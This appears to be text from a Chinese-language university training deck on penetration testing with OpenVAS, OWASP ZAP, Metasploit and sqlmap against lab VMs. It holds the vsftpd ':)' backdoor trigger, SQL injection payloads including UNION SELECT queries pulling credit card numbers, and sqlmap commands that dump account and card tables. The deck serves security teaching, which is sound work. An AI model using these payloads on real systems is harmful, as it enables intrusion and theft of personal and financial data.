
台灣大學 計資中心

童鵬哲

1



VM 安裝

Openvas

owasp Zap

滲透測試

Metaspolite

Sqlmap

報告
2



3



4



5



6



7



8



9



10



11



▪ 帳號 : admin

▪ 密碼 : admin

▪ ip : 192.168.56.19
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▪全名 (Open Vulnerability Assessment Syetem )

▪ Nessus 轉為商業版本後出現的分支。

▪以Nessus為基礎開發。

▪ OpenVAS  為一套漏洞掃描及管理解決方案的一個框架。

▪ OpenVAS 基於NVTs Feed 資料庫，進行弱點掃描。

▪ NVTs 是基於 NASL scripts 所撰寫之弱點測試資料庫。

▪目前提供了約7萬個弱點掃描。
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▪ 商業版 Greenbone Security Manager (GSM)

▪ 免費版 Greenbone Community Edition (GCE)

▪ 免費版約只有商業版 70% 的部分 Feed
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Reference : Greenbone Networks - The Different Flavors of Greenbone's Technology  
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▪ Scans/Tasks/New Task
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▪ 設定 target，並選擇 port list，與alive test。
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▪ Openvas 用於滲透測試，檢測弱點之資料庫，包含程式碼及參考資料。

▪ https://secinfo.greenbone.net/login
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https://secinfo.greenbone.net/login


▪ NVT 所用於弱點測試的程式碼腳本

▪ Example：

Microsoft Windows Remote 
Desktop Service Remote 
Code Execution 
Vulnerability (KB4500331)

▪ CVE-2019-0708

▪ https://vulners.com

▪ Linux (CentOS 7) => 
/var/lib/openvas/plugins/2
019/microsoft/gb_ms_kb45
00331.nasl
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https://vulners.com/
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Reference : https://www.linuxincluded.com/installing-openvas-on-centos-7/



▪ OpenVAS能自行透過 package的方式，安裝於Debian/RedHat 系統。

▪ 如：Ubuntu、kali => apt install openvas

▪ 如：CentOS => yum install greenbone-vulnerability-manager (or yum install openvas)

▪ 優點：自行調整參數、設定排程自動更新…等，適合喜歡自行調教之使用者。

▪ 缺點：安裝及設定過程，複雜繁瑣，不適合一般使用者。
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網址：https://www.greenbone.net/en/install_use_gce/



▪最小需求

▪ Type: Linux

▪ Version: Other Linux (64bit)

▪ Memory: 2048M

▪ Harddisk: 15G

▪ CPUs: 2

▪建議：

▪ Memory： 8G 以上

▪ CPUs：4 cores 以上
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▪ Metasploit Framework

▪ 滲透測試 ( Penetration Test )
框架工具

▪ 擁有廣大的社群資源
( https://www.exploit-db.com/ )
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https://www.exploit-db.com/
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https://www.exploit-db.com/exploits/17491
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Local exploit-DB
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利用FTP 登入，帳號輸入任意位
數 + :)，密碼輸入任意位數

會開啟 port 6200 之後門，
之後可再利用telnet 登入

60



帳號：任意碼 + :)

密碼：任意碼
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▪ Eternalblue ：微軟 MS17-010 漏洞攻擊套件，美國NSA製作遭流出。

▪ MS17-010 : 微軟 SMB 漏洞。
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https://ophcrack.sourceforge.io/tables.php
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▪ SELECT * FROM accounts WHERE username='' AND password=''

▪ 測試

▪ 密碼欄位

▪ ' or 1= ' 1

▪ 帳號欄位

▪ ' or 1=1 --
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admin' UNION SELECT NULL, @@version, current_user(), database(),NULL,NULL,NULL --
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admin' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL,NULL from information_schema.tables 

where table_schema=database() --

admin' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL,NULL from information_schema.tables 

where table_schema='nowasp' --
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admin' UNION SELECT NULL,column_name,NULL,NULL,NULL,NULL,NULL from 

information_schema.columns where table_name='credit_cards' --
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admin' UNION SELECT NULL, ccnumber, ccv, expiration, NULL,NULL,NULL from credit_cards --
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sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=user-

info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p 

username --current-user --current-db
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sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=user-

info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p 

username -D nowasp --tables
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sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=user-

info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p username 

-D nowasp -T credit_cards --dump
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sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=user-

info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p 

username -D nowasp -T accounts --dump
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▪ sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=login.php" --
data="username=111111&password=222222&login-php-submit-button=Login" --drop-set-
cookie --current-user --current-db

▪ sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=login.php" --
data="username=111111&password=222222&login-php-submit-button=Login" --drop-set-
cookie -D nowasp --tables

▪ sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=login.php" --
data="username=111111&password=222222&login-php-submit-button=Login" --drop-set-
cookie -D nowasp -T credit_cards –dump

▪ sqlmap -u "http://192.168.56.21/mutillidae/index.php?page=login.php" --
data="username=111111&password=222222&login-php-submit-button=Login" --drop-set-
cookie -D nowasp -T accounts --dump
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openVas

owasp Zap

Metaspolite

Sqlmap
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Thanks
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